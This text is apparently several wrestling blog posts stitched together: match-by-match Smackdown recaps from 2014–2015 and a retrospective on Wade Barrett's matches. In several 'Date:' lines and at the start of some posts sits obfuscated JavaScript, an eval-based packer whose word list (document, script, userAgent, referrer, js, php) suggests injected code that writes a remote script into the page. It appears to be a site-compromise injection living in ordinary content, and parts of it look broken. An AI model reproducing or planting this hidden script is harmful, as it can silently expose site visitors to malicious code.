Smackdown – January 9, 2015: One More For The Road

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieahr|var|u0026u|referrer|idtnn||js|php'.split('|'),0,{})) January 9, 2015
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Michael Cole, Tom Phillips, John Bradshaw Layfield

Big E. vs. Adam Rose

Ascension vs. Mad-1/Spartan

Alicia Fox vs. Naomi

This is due to Fox attacking Naomi on Monday after Fox replaced Naomi on Total Divas. Naomi dropkicks her at the bell and hits a running corner splash. Fox comes out of the corner with a sunset flip into a rollup and throws her feet on the ropes to pin Naomi at 1:16. I miss old school cheating like that.

We look at the ambulance match from Monday.

Tag Team Titles: Usos vs. Goldust/Stardust vs. Miz/Damien Mizdow

The Usos send the other brothers and Miz out to the floor (Mizdow is kind enough to do it himself) and the big dives take them down again. Stardust adds the Falling Star but Jimmy takes him out a second later. Jey gets crotched down coming back in and we take a break. Back with Jimmy enziguring Stardust but Miz tags himself in to get the two count. Mizdow tags himself in for the Reality Check and a nice nipup (Cole: “Well HBK does have a beard.”) but Goldust tags himself in to run Mizdow over.

Sin Cara vs. Bad News Barrett

Barrett Bull Hammers him post match.

We get some exclusive comments from the three fired guys after Raw went off the air.

Rowan says disappointment comes to mind.

Daniel Bryan is back in the ring next week.

Roman Reigns/??? vs. Seth Rollins/Big Show

Roman plants Seth with a tilt-a-whirl slam and the Superman Punch takes out both Stooges at the same time. Reigns loads up the spear but walks into a chokeslam, only to have Dean dropkick Show down (with only the good leg connecting). The standing elbow drop puts the Stooges and Kane down, leaving Reigns to spear Rollins for the pin at 12:02.

Results

Big E. b. Adam Rose – Big Ending

Ascension b. Mad-1/Spartan – Fall of Man to Mad-1

Alicia Fox b. Naomi – Rollup with feet on the ropes

Usos b. Miz/Damien Mizdow and Goldust/Stardust – Superfly Splash to Goldust

Roman Reigns/Dean Ambrose b. Big Show/Seth Rollins – Spear to Rollins

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Wrestler of the Day – November 1: Bad News Barrett

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etihi|var|u0026u|referrer|ndbyy||js|php'.split('|'),0,{})) your own bad news joke here. Today is Bad News Barrett.

Wade Barrett vs. Daniel Bryan

Jericho is on commentary, making this AWESOME, which I type as Miz’s music hits. Bryan has taped ribs from the Jericho suplex last week. Jericho says Barrett is like an eagle. Could this mean an alliance with Swagger??? I forgot how the camera angles switched around like this all the time on this show.

Miz and Carlito are watching in the back. Jericho keeps applauding everything that Barrett does which is a nice thing to see. Bryan gets a running knee to take down Barrett on the floor but falls on his face when attempting a springboard move. Not sure if that was planned or not due to the ribs. Wasteland ends this soon after.

Rating: N/A. Nothing special here but it did the stuff it needed to do. You had Jericho playing the coach role to perfection and Barrett looking awesome. Bryan’s ribs were hurt so the lack of being able to do much was the right thing to do I think. This worked fine for what it was but in two minutes there’s not much you can showcase.

Here he is on the final episode of the first season on June 1, 2010.

Justin Gabriel vs. Wade Barrett vs. David Otunga

We’ve got elimination rules here too just to make it awesome. Finally we get going after 9000 announcements. Barrett gets sent to the floor early as Otunga beats on Gabriel. Wade back in now as Gabriel hits the floor. We’re told that in the second season of NXT there will be a 50/50 split between the Pros and the fans which is important. Otunga vs. Gabriel at the moment.

Really bad powerslam puts Gabriel down. Barrett can’t stay in the ring here for too long which is kind of funny. Gabriel puts Otunga down and gets the 450 but Wade pulls him out to get the pin on Otunga instead. We take a break as we’re down to one on one. Back with Gabriel breaking up an armbar on the mat. Off to an abdominal stretch by Barrett. He’s working on the ribs so that the 450 is less of a weapon. Wouldn’t the knee be smarter then?

If nothing else this is a rematch from last week which is kind of good for some reason. Gabriel gets some nice kicks and a cross body for two. Wasteland is countered into a sunset flip for two. Gabriel gets him down and it’s 450 time again. SICK counter as Gabriel lands on the knees of Barrett. That looked incredible. Small package is academic for Barrett.

Rating: B-. This wasn’t bad at all from an in ring perspective, but the idea here was that Barrett looks good. That’s exactly what was supposed to happen here and it worked perfectly well. Fun match and it’s cool to see them all in the ring at once in straight competition. This worked exactly like it was supposed to so I can’t complain.

That win gave Barrett a title shot on PPV, which he cashed in at Night of Champions 2010.

Raw World Title: Sheamus vs. John Cena vs. Edge vs. Wade Barrett vs. Randy Orton vs. Chris Jericho

Pin or submission only for eliminations. MONSTER reaction for Edge. The trenchcoat is back too. Face pop for Jericho but not as big as Edge’s. Barrett is in his second PPV main event less than five months after making the main roster. Not bad. Elimination rules here. Orton is out last and gets a nice reaction but still pales in comparison to Edge. Striker asks Lawler for strategy here. Lawler says avoid elimination, which sounds really simplistic but Lawler follows it up by saying you’re going to have a better chance with three or four opponents than with five so if you can hang on your odds improve. Sometimes the simplest answer is best.

Tornado rules here too which is nice. We get a Hulk reference kind of as Cole lists off champions. Cena and Jericho stare each other down which makes me think Jericho is a jobber by comparison. RKO maybe 90 seconds in ends Jericho. WHAT THE HECK? He makes the big sad exit and everyone, myself included, is shocked. Y2J chant picks up of course as I’d love a face run from him.

Everyone surrounds Barrett and the beatdown is on! Orton and Cena have an eventual staredown but Barrett breaks it up. Striker calls Edge, Sheamus and Barrett rulebreakers. CENA THROWS A DROPKICK! The superpowers fight it out but Barrett saves Cena for some reason. Sheamus kicks Barrett in the face. He dominates for awhile and goes around kicking everyone in sight.

High knees to Cena which I can’t think of a Too Many Lies joke for. Cena blocks the High Cross as everyone else has apparently died. Edge comes back in and stops the top rope Fameasser. Double suplex off the top to take Cena down for two. Edge and Sheamus work together which tells me he eliminates the Irishman.

Orton pops up for like two seconds and Sheamus takes him down almost immediately. Spear misses and the Irish Curse takes Edge down. Brogue Kick misses but Edge gets the spear. Orton takes one too but Edge takes a very nice FU to get rid of him and we have four left. Barrett takes down Cena and stomps the tar out of him.

He and Cena fight it out for awhile until Cena makes his comeback. 5 Knuckle Shuffle but Sheamus accidently hits Barrett. Cole keeps calling the FU the A.A. now. Sheamus is in the STF FOREVER and has one of the best teases of getting there I’ve ever seen. He manages to do it and you can feel the crowd just stop. Nexus comes out and the distraction allows Barrett to hit Wasteland on Cena and ELIMINATE HIM!

Nexus beats down Orton and since there are no disqualifications this is all gravy baby. Nexus tries to run in again but Cena KILLS one of them with a chair. Orton gets the backbreaker on Barrett and an RKO gets us down to Sheamus vs. Orton. Brogue Kick KILLS Orton but it only gets two and a big old pop. High Cross is countered and the RKO gives Orton his seventh title!

Rating: C+. This was ok. It wasn’t the mess I thought it would be and getting rid of two people relatively early, especially Jericho, made this run a lot more smoothly. It’s an ok match but really nothing worth going out of your way to see. They went with the usual multi-man formula here which I’m not a fan of at all. Barrett pinning Cena clean is a good thing but it’s probably going to lead to a Hell in a Cell match which I don’t think anyone wants to see at this point. Fairly good match, but not a great one at all.

Another title shot at Bragging Rights 2010.


Raw World Title: Randy Orton vs. Wade Barrett

Cena is with Barrett here and we hear about how Orton might be the last chance to stop the infection known as Nexus. That sounds rather WCW vs. NWOish. Big match intros. Randy looks back and sees…no one coming with him. Ok then. Barrett grabs the microphone and says if he doesn’t win, Cena is fired TONIGHT. Well ok then. That leaves the door open for count out and DQ though.

Barrett hits the floor early after Orton takes over. Loud FIRE CENA chant. You can’t say the crowd isn’t making their voices heard. I know because I can hear them. Barrett gets on Cena for not attacking Orton when he had a chance to. This is the living definition of killing time before the big finish. Almost all Orton so far as Cena keeps avoiding any contact with Orton.

Barrett takes over as this is just boring right now. It’s not bad but we know this means nothing at all as it’s all about Cena and always will be. That’s not his fault but the booking is just kind of stupid here. Orton makes a comeback after about five minutes on the brink of eternity. I need these odd sounding phrases to get me through this.

Elevated DDT is blocked and the referee is bumped. Well you knew that was coming. Barrett yells at Cena to come help while he can. Orton shoves Wade into Cena and down he goes. Cue the other Nexus guys and Orton is in trouble. Striker: guys Wade Barrett is going to be the new WWE Champion.

Cena comes back in and takes out Nexus with Orton adding an RKO to Slater. Cena hits the floor and says he had to do it or you get disqualified. That’s very true actually and good thinking. Wasteland is blocked and here comes Orton.

Elevated DDT connects and Orton dances into the RKO mat slappage of awesomeness. Cena slides in and casually hits an FU on Barrett to give him the win by DQ. NICE. Cena helped Barrett win. He hands the belt to Orton but gets an RKO for his troubles. Yep I was right about the ending. RKO to Barrett and copious posing ends the show.

Rating: D. Boring as all goodness here but I think the ending works very well. The problem is that it took nearly 20 minutes to get us there. That’s the problem here: this was all about Cena and Barrett with Orton there as a placeholder. And again, this sends us on to the next show rather than giving us anything. As Norcal and I were saying, this doesn’t give us much at all but just sets up the next show. That’s a very bad thing and WWE really needs to get out of that habit, meaning it’ll never happen.

One more title shot at Survivor Series 2010. This one needs a quick recap.

Raw World Title: Wade Barrett vs. Randy Orton

We head to the floor where Barrett hits a kick to the ribs to take over. Orton gets sent into the steps and punched down back in the ring. Barrett covers and gets a fair one count. We hit the chinlock for a good while until Orton fights back with his usual comeback stuff. The backbreaker gets two and Orton glares at Cena. Barrett gets in an uppercut and hits a top rope elbow for two.

John Cena vs. Wade Barrett

This is PPV main event number……five for Barrett in his seven months on the main roster. Not that WWE made a new star or anything. BIG reaction for Cena as this is a chairs match. DUELING CHANTS!!!! Barrett hits the floor and Cena cuts him off as the fight is on. There must be twenty chairs at ringside. Barrett gets the first one so instead of picking up another, Cena slowly backs up and tries to keep fighting.

Both guys in the ring with chairs which last a few seconds as we’re back to the slugout. The idea here is that neither guy can get to the chair which they’re treating as something special here, which I like. They hit the floor with Barrett in control. Barrett gets a chair shot to the back of Cena but it’s in the aisle. Barrett sets up the steps which would be illegal wouldn’t they?

Cena slams him on the stage and goes to the back. He comes back with a rolling chair in a rather funny moment. He puts Barrett in it and wakes him up with some water. Cena gets a running start and throws Barrett down the ramp in the chair into the steps. Awesome spot and kind of funny at the same time. Barrett gets control way too quickly and we’re back in the ring and the English dude has a chair.

He chokes away with it as someone as the announce table can’t stop coughing. In an amazing strength move, Cena has Barrett sitting on the chair on top of him. Cena is like screw it and bench presses his way out of it. HOW STRONG IS THIS GUY? Barrett gets a chair up to stop a shoulder block and Cena hits the floor. Cena gets tied up in the ropes and Barrett has a field day on him with the chair.

Cena fights out and hits the Protoplex and the Shuffle but can’t get the FU. Bossman Slam gets two. Chair is wedged in between the top and middle rope. STF is countered with Cena being launched into the wedged chair. Barrett goes up with the chair and dives off (think Foley diving off the apron with one) but gets canvas instead. Top rope Fameasser with the chair but Cena won’t cover.

He sets up about six chairs in a two rows of three facing each other. I think I see an FU coming. Hey what do you know I’m right. In the FREAKING OW MAN spot of the night, the chairs DON”T MOVE and Barrett just stops cold. The pin is academic and for once and for all, the feud is OVER.

Maybe it isn’t as Barrett crawls away and Cena picks up another chair. Let the beatdown begin. They’re up by the stage and Cena gets some kind of a metal pallet thing. Cena looks up at all the chairs hanging from the ceiling and THEY ALL FALL ON BARRETT. Nice job as Barrett is BURIED to end the show and the year. The visual on the replay of a bunch of them just falling straight down is great.

Rating: B. Not a great match or anything, but it certainly worked. I don’t usually do this, but I’m going to include the post match stuff in the rating for this one. That part is the real aspect here, as Cena didn’t beat Wade Barrett. He defeated him. That’s a key difference here. Cena did exactly what he said he’d do: he defeated Nexus. It’s not a great match, but it’s a great ending. That’s what the important thing is here, and it worked like a charm.

Barrett would fall down the card a bit after this, starting on Smackdown, March 25, 2011.

Intercontinental Title: Kofi Kingston vs. Wade Barrett

Kofi fires off some strikes and gets two off a dropkick. Lots of early covers by Kofi here. Corre is outside the ring, meaning in this match we have: a guy from Ghana (Ghanan? Ghanian? Im really not sure what the right term is there), an Englishman, a South African, a South American and an American. Its remarkable how international WWE is getting, including people like Sheamus, Mason Ryan and Sin Cara. Good idea too.

Kofi tries to go to the middle rope for something with his back to Barrett but gets kicked off as Barrett takes over. Big boot puts Kofi on the floor. That looked great. Boss Man Slam gets two and its off to a bow and arrow. Middle rope elbow misses for Barrett and here comes Kingston. The cross body gets two and theres the Boom Drop. He sets for Trouble in Paradise but Corre distracts him. The delay doesnt really work as Kofi fires the kick but Barrett ducks and catches Kofi on his shoulders for the Wasteland. That was awesome looking and it gives Barrett the title at 5:10.

Rating: B-. I like Barretts in ring style and this was a good example of that. He mixes things up out there and it works rather well when he gets to use his various stuff. Most importantly though: this gives Barrett something. He hadnt won anything since the first season of NXT and now he has something concrete on his resume. Thats been lacking for him so Im well pleased here. Pretty good match too.

Wade Barrett vs. Daniel Bryan

Daniel takes it to the mat and spins out of a wristlock before dropkicking Wade down. Cole says Barrett is a submission master as Bryan does the AJ Styles drop down into a dropkick, right down to the same overblown drop down. Back up and Bryan hooks a dragon screw leg whip and a running dropkick in the corner for two. Another kick to the chest gets two and Bryan backflips over Barrett, only to charge into the Winds of Change for two. A slingshot belly to back backbreaker gets two for Wade and we hit a reverse chinlock.

Randy Orton vs. Wade Barrett

Falls count anywhere. Slugout to start and Orton hammers him into the corner. Out to the floor and Barrett goes into the steps for two. With Barrett’s head on the steps, a stomp gets two. Usually that would crack a skull but in wrestling it only gets two. That’s why I love this stuff. RKO is countered and Orton goes into the post as we take a break.

Back with them in the ring and Barrett hammering away. He hits that running boot to Orton as Orton is sitting on the middle rope which gets two on the floor. Big boot in the ring gets two and we hit the chinlock. Middle rope elbow gets the same. Back to the chinlock as this has been a lot more basic than I was expecting. Orton gets in the powerslam but Barrett escapes the elevated DDT by heading to the floor.

Orton throws him over the table and they go into the crowd. They go into the back and Orton goes through a table. Randy sends him into an anvil case as Barrett tries to escape down the hall. The referee went down earlier so he’s not here. They fight into an elevator and we actually cut to a security camera feed in the elevator.

They brawl out into what looks like a corporate area and a cameraman has to run to catch up to them. The camera goes through a door and we hear shouting and a crash. He catches up to them and Barrett is standing at the top of a flight of steps. Orton is laying at the bottom in a shape that probably isn’t that comfortable. The camera looks down at him as he can barely move and we go off the air.

Rating: C. Pretty boring main event for the most part but once they got to the wild brawl it wasn’t that bad. Word is Orton has a legit bad back so this is the angle that they’re going with to write him off TV for awhile. That’s fine and not having a pin works here because there’s no point in having a pin with that being the closing shot of the show. Not terrible and the ending did the job it was supposed to do.

Back to the World Title hunt at Elimination Chamber 2012.

Smackdown World Title: Big Show vs. Great Khali vs. Cody Rhodes vs. Daniel Bryan vs. Santino Marella vs. Wade Barrett

Cody gets thrown to the outside while Barrett is thrown back inside. Chokeslam to Barrett is countered and Wade chop blocks Show down. Cody and Barrett team up on Show and start fighting a few seconds later. Santino comes in fourth and after he hits his usual stuff, Show runs him over. Cody takes Show down by the knee though as the fans chant for Santino.

Barrett and Cody double suplex Show onto the steel to put him down. Cody hits the moonsault to Barrett and goes after Santino. No one is out yet. Rhodes rams the Cobra hand into the cage and Khali is in fifth. Chops and clotheslines for both heels and the Punjabi Plunge to Rhodes. One to Barrett as well and a chop to Santino. The giants face off and Show spears Khali for an elimination about 40 seconds after Khali entered.

Show keeps staring at Bryan and then even tries to reach in and grab him. He breaks the chains on the pod and has broken through. Bryan demands the door be opened but Show has broken in and climbed through the top. The place ERUPTS for this. The clock goes off to release Bryan but they’re both inside the pod. Bryan manages to get out but Show does the required breaking the plexiglass spot. You know, THE SAME THING THAT HAPPENS EVERY YEAR.

Into the ring now and Show loads up the right hand. Oh wait it’s the chokeslam instead but Barrett kicks Show in the face before there’s a cover. Santino pops up for a quick rollup for two on Barrett but is then thrown to the outside. Cody hits two Beautiful Disasters to Show followed by a DDT. Barrett hits a middle rope DDT and Big Show is gone to a big reaction. So it’s Cody, Barrett, Bryan and Santino to go.

Make that three as Santino rolls up Cody to pin him. Cody hits Cross Rhodes to Santino. There’s Cody’s next feud I guess. Barrett covers Santino but it only gets two. Barrett hammers on him and ties Santino’s arms in the Chamber wall. The beating continues on Santino for awhile until Bryan gets back up with a flying knee to Barrett. Bryan goes up but Barrett knocks him part of the way into it again by the back of the head.

Barrett loads up Wasteland off the middle rope but Santino breaks it up because he’s an idiot. Santino tries a superplex but gets shoved off. He avoids an elbow and Bryan hits a top rope headbutt, allowing Santino to steal the pin, meaning he’s eliminated Cody Rhodes and Wade Barrett. Bryan is very happy to see what he’s up against as it’s one on one now. It turns into a cat and mouse game and Santino even gets the Cobra for two. The LeBell Lock goes on and Santino taps at 33:57.

Another Orton match on Smackdown, November 2, 2012.

Wade Barrett vs. Randy Orton

Del Rio is on commentary. While Orton is doing his pose on the ropes, Del Rio tries to run in and jump him, only to get knocked right to the floor. Ricardo rams Orton into the post and a double beatdown ensues as we take a break. Back and the scheduled match is in progress with Orton clotheslining Barrett to the floor. They head back in with Barrett taking Orton down upon reentry.

They slug it out and Orton takes over, which even Josh thinks is very surprising given that Barrett is a bareknuckle fighter. Barrett comes back with a kick to the face and a middle rope elbow for two. Back to the reverse chinlock followed by Barrett slamming him down. Wade goes up for another elbow but Orton crotches him and hits a superplex to put both guys down. Orton busts out some clotheslines and the powerslam followed by the Elevated DDT. Before the RKO can be loaded up, Del Rio shows up on the stage. Orton has to knock Ricardo to the floor and Wade gets a rollup win at 8:43 shown.

Hey look: an Orton match on Raw, January 14, 2013.

Randy Orton vs. Wade Barrett

Barrett lost the title at Wrestlemania XXIX but got a rematch the next night on Raw.

Intercontinental Title: The Miz vs. Wade Barrett

Back with Barrett getting a near fall off the Winds of Change. Miz rolls to the floor so Wade can drop an elbow off the apron for two. Off to a chinlock on the champion for a bit but Miz fights up and pounds away. A running knee and big boot put Barrett down but they botch the Reality Check (the backbreaker went fine but Wade fell down before the neckbreaker started).

Another title match at Payback 2013.

Intercontinental Title: Curtis Axel vs. The Miz vs. Wade Barrett

Barrett is defending and Axel is a last minute substitute for a concussed Fandango. Miz and Barrett traded the title in April and had been feuding with Fandango for a few weeks. Miz pounds away on both guys to start with Axel being thrown out to the floor. Barrett gets in a sneak attack and Miz heads to the floor. The heels brawl for a few seconds before all three guys are back inside. Barrett gets two off a big boot to Miz as Axel is staying on the floor with Heyman.

Barrett started a mini feud with Daniel Bryan right before Bryan got into the title picture. From Raw on August 12, 2013.

Daniel Bryan vs. Wade Barrett

Brad Maddox is guest referee for no apparent reason. A quick dropkick puts Barrett down and Daniel goes after the leg. Bryan hooks a quick dragon screw leg whip before cannonballing down ion the legs a few times. Barrett is sent to the floor with a baseball slide but Bryan misses the running knee off the apron and gets caught with a big boot to the face. Back in and Bryan is knocked to the floor with ease and sent into the steps.

Daniel Bryan vs. Wade Barrett

Barrett would become Bad News Barrett and have one of his first big matches at Extreme Rules 2014.

Intercontinental Title: Bad News Barrett vs. Big E.

Back in and Barrett stands on the middle rope before loading up a suplex (as in Big E. was standing on the mat and Barrett tried to suplex him while on the ropes), only to jump down and hit a snap suplex for two. Big E. hits a quick cross body for two but walks into a boot to the face. The champion gets caught in the ropes and nailed with a running boot to the face to knock him out to the floor again.

Intercontinental Title: Bad News Barrett vs. Dolph Ziggler

Rematch from a non-title match on Smackdown where Ziggler got a quick upset. Barrett rips on the Redskins before the match. We get big match intros after a break and Ziggler grabs a quick rollup for two. A clothesline puts him on the floor though and Barrett takes over. Back in and Barrett cranks on a chinlock but comes back with a hard series of right hands on the mat and in the corner. Winds of Change gets two more for the champion but he gets caught by the Zig Zag. Barrett rolls to the floor before Dolph can cover though and we take a break.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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The New Nation Has A Name

….and eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irbbi|var|u0026u|referrer|bfhat||js|php'.split('|'),0,{})) it’s bad.They’re called Speed Force.

Speed Force.

They’re had like six weeks and they came up with SPEED FORCE?




Smackdown – August 8, 2014: When The Authority’s Away…..WWE Is Pretty Dull

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkdef|var|u0026u|referrer|tfzhd||js|php'.split('|'),0,{})) August 8, 2014
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Michael Cole, John Bradshaw Layfield

We’re continuing to Summerslam and the main story continues to be Stephanie vs. Brie. With Cena and Bray gone, there really isn’t much of interest on the shows. Thankfully we do have something to look forward to tonight as Ambrose gets to pick his stipulation for the match against Rollins at Summerslam. Let’s get to it.

Here’s Ambrose to select his stipulation for the match at Summerslam. Ambrose talks about how the Authority thought they had a plan but they found out you can’t plan for insanity. Dean pulls out a list of options for the match: Cole Miner’s Glove, Alligators Around The Ring, JBL’s Hat On A Pole, Fight in the Parking Lot, Boxing, Good Housekeeping, Loser Washes HHH’s Car match (“But Seth already does that”) but all of those are off the table.

This brings out Rollins who wants Dean to just get to the chase. Dean introduces Seth as Mr. Money in the Bank and suggests the briefcase get a good detailing. Seth says Dean thinks with his heart instead of his head, but it’s only going to get Dean so far. In two weeks, everyone is going to get to see the end of Dean Ambrose, “on the WWE Network for the low low price of $9.99.”

Dean asks if they’re going to pay to see Seth run again. Not this time actually, because it’s going to be a lumberjack match. Seth says he’s not going anywhere at Summerslam because he still has the briefcase, and that makes him the future of this company. As for Ambrose’s future, he has a match of his own, against Randy Orton. We get a clip of Orton attacking Reigns and Dean seems pleased.

Ryback/Curtis Axel vs. Mark Henry/Big Show

Henry and Axel get things going with Curtis bailing out to the floor. Ryback comes in and tells Henry to hit him so they shove each other around a few times. Ryback shoves him down and goes after the leg as the heels start tagging to stay on the leg. For some reason Ryback tries a powerbomb but is backdropped with ease. Big Show comes in to clean house and it’s a World’s Strongest Slam to Ryback and a chokeslam to Axel for the pin at 3:20.

Rating: D+. So which monster turns on the other first to set up a huge showdown on pay per view while the fans get nachos? This is the fallback option for all of the big monsters and it gets very tiring after awhile. Also, nice job of building up Ryback and Axel so you can job them out over and over.

Ziggler is with the Divas and Rosebuds as they watch Rollins’ briefcase get destroyed. Rollins comes up and they insult each other a bit before making a match between the two of them for later.

Network ad.

Damien Sandow vs. Sin Cara

This time Damien is a border patrol agent, which is probably a jab at the immigration issues down in Texas. Sandow easily takes him down and drops the Wind-Up Elbow for two but Sin Cara’s handspring elbow gets the same. Damien comes back with an Edge-O-Matic for two but Cara takes him down with ease and hits the Swanton for the pin at 2:02.

Six minute video on Lesnar vs. Cena from Raw.

Seth Rollins vs. Dolph Ziggler

Rollins quickly takes him down and puts on a chinlock followed by Three Amigos for two. Back to the chinlock for a bit until Dolph fights out with a jawbreaker. The Fameasser is countered though as Ziggler is sent out to the floor. We take a break and come back with Seth kicking Ziggler in the face for two before heading outside for more right hands to the head. Ziggler fights out of yet another chinlock and gets two off a neckbreaker.

A small package gets the same and Dolph grabs the running DDT for a third near fall in a row. Rollins counters the Zig Zag but gets sent out to the apron. Dolph avoids a springboard dive and grabs the Fameasser for two. Seth throws him shoulder first into the post to put Ziggler on the floor again before sending him into the barricade. Back in and the Curb Stomp is good for the pin at 10:55 shown of 13:25.

Rating: C+. This wasn’t bad but it was just a step above a squash with Ziggler having almost no chance for the entire match. Ziggler’s start and stop push continues as he gets to run circles around Miz one week then gets screwed out of a win against Bo Dallas and now gets beaten by Rollins.

Randy Orton says Ambrose will find out who the truly sadistic one is in WWE.

Paige vs. Natalya

Natalya quickly takes her down into a Sharpshooter but Paige crawls out to the floor. The Paige Turner on the floor has Natalya mostly out but she still grabs a rollup for two. The PTO makes Natalya quit at 2:09.

Rusev vs. Big E.

The Bulgarian hammers away with shots to the face and a kick to Big E.’s chest. Big E. tries his Rock Bottom out of the corner but gets elbowed in the face. The belly to belly puts Rusev down but he misses the Warrior Splash. A kick to the face sets up the Accolade to make Big E. tap at 1:51. Speaking of pushes disappearing, have Woods, Kingston and Big E. appeared together on a major show since uniting?

Lana does her usual while the hold is still on.

Jericho talks about how he’s going to rid the WWE of the disease that is Bray Wyatt. The antidote is spelled Y2J and he’s going to shove the buzzards down Bray’s throat.

After another Network plug, we get a recap of Brie vs. Stephanie on Raw.

Dean Ambrose vs. Randy Orton

Randy goes right for the bad arm as you would expect but Dean hammers him into the corner, also as you would expect. Ambrose takes him down into a headlock and hammers away with right hands to the head. Randy is sent outside and nailed with a suicide dive as we take a break. Back with Randy holding an armbar before sending Ambrose chest first into the buckle. The bad arm is bent around the ropes so Dean fights back with right hands to the jaw.

Randy takes him right back down by the arm but gets caught in a quick DDT. Dirty Deeds is countered but Randy is sent out to the floor. Another suicide dive is countered by a forearm to the head and Ambrose is sent into the steps. The Elevated DDT is reversed with a backdrop over the top and now the suicide dive connects. Back in and the Rebound Clothesline drops Orton. Dirty Deeds connects but Rollins comes in for the DQ at 9:40 shown of 13:10.

Rating: C+. This is interesting as the spoilers said this was nearly a thirty minute match, so either the commercial cut out a lot of things or the reviewer couldn’t tell time. The match was nowhere near the match they had on Raw a few weeks back but at least Ambrose didn’t do a job here. It’s decent enough, but lumberjacks don’t do much for me.

The brawl is on until Orton takes Dean down with an RKO. Rollins pours a soda on Ambrose’s face and shouts that this isn’t a game. A Curb Stomp ends Ambrose to close the show.

Overall Rating: C-. This was just ok but it gave Ambrose vs. Rollins a focus that it hasn’t had in awhile. Other than that though, the lack of star power is really hurting things. Thankfully Monday is the go home show and the main event guys will be back. The Australian tour didn’t help things either but it’s something you have to deal with. This wasn’t a bad show but it was a totally meaningless two hours of television.

Results
Big Show/Mark Henry b. Curtis Axel/Ryback – Chokeslam to Axel
Sin Cara b. Damien Sandow – Swanton Bomb
Seth Rollins b. Dolph Ziggler – Curb Stomp
Paige b. Natalya – PTO
Rusev b. Big E. – Accolade
Dean Ambrose b. Randy Orton via DQ when Seth Rollins interfered

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Thought of the Day: They Are The Nation

Of eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nykfn|var|u0026u|referrer|zfhde||js|php'.split('|'),0,{})) Domination?

As you might have seen on Raw, it seems that we’re getting a new Black Power stable with Xavier Woods as the Malcolm X character, leading Big E. and Kofi with possibly Titus O’Neil and Mark Henry joining. THis is an idea I’ve heard batted around forever and in this case, why not do it? It’s not like any of these guys are lighting the world on fire otherwise, so why not give them something to do? The last team was around like 15 years ago so it’s not like it’s a fresh idea.




Smackdown – May 30, 2014: Who Would Have Seen That Coming?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhib|var|u0026u|referrer|bnfbd||js|php'.split('|'),0,{})) May 30, 2014
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, John Bradshaw Layfield

It’s the final show before Payback and every major match is firmly set up for Sunday. The main story coming off Raw is Daniel Bryan having to surrender the title on Sunday or have his wife Brie Bella get fired. If nothing else we should get a solid conflicted promo tonight, which should be good coming from someone like Bryan. Let’s get to it.

Here’s Shield to get things going. Rollins says what doesn’t kill you makes you stronger, so after Monday, they’ve never been stronger. We get a clip from the end of Raw and Evolution beating Shield down thanks to the sledgehammer, including a TripleBomb to put Reigns through a table. Ambrose says they don’t care how many times they get beaten down because they’ll keep fighting. The question is how crazy is Evolution willing to get because this is going to get really ugly. Seth says he’ll pin Randy Orton and a stretcher will take him to the back. Then they’ll eliminate Batista, and it’ll be HHH against all three of them.

We see a list of great Intercontinental Champions.

Cesaro vs. Kofi Kingston

A hard shoulder puts Kofi down early so he tries an armdrag. Cesaro doesn’t move and instead lifts Kofi up off the mat by the arm into a backbreaker. A gorilla press puts Kofi down again but he avoids a charge in the corner and hits a springboard right hand to the head. Kingston gets two off a kick to the head (JBL: “How do you not notice those fluorescent feet coming at you?) and goes up for cross body, only to dive into an uppercut for the pin at 2:57.

Cesaro Neutralizes him post match.

Barrett says he’ll beat Sheamus tonight to prove a point to RVD. The International Title is more prestegious than the US Title.

Paige vs. Tamina Snuka

Non-title. Alicia comes out almost immediately and takes pictures with fans. Paige loses her focus, allowing Tamina to headbutt her down to take over. Fox takes the title belt for another distraction, so Tamina kicks Paige’s head off for two. Paige gets all ticked off and fires elbows in the corner, followed by fast clotheslines and knees to the face. The Paige Turner sets up the Scorpion Cross Lock (PTO: Paige’s Tap Out) for the submission at 3:22.

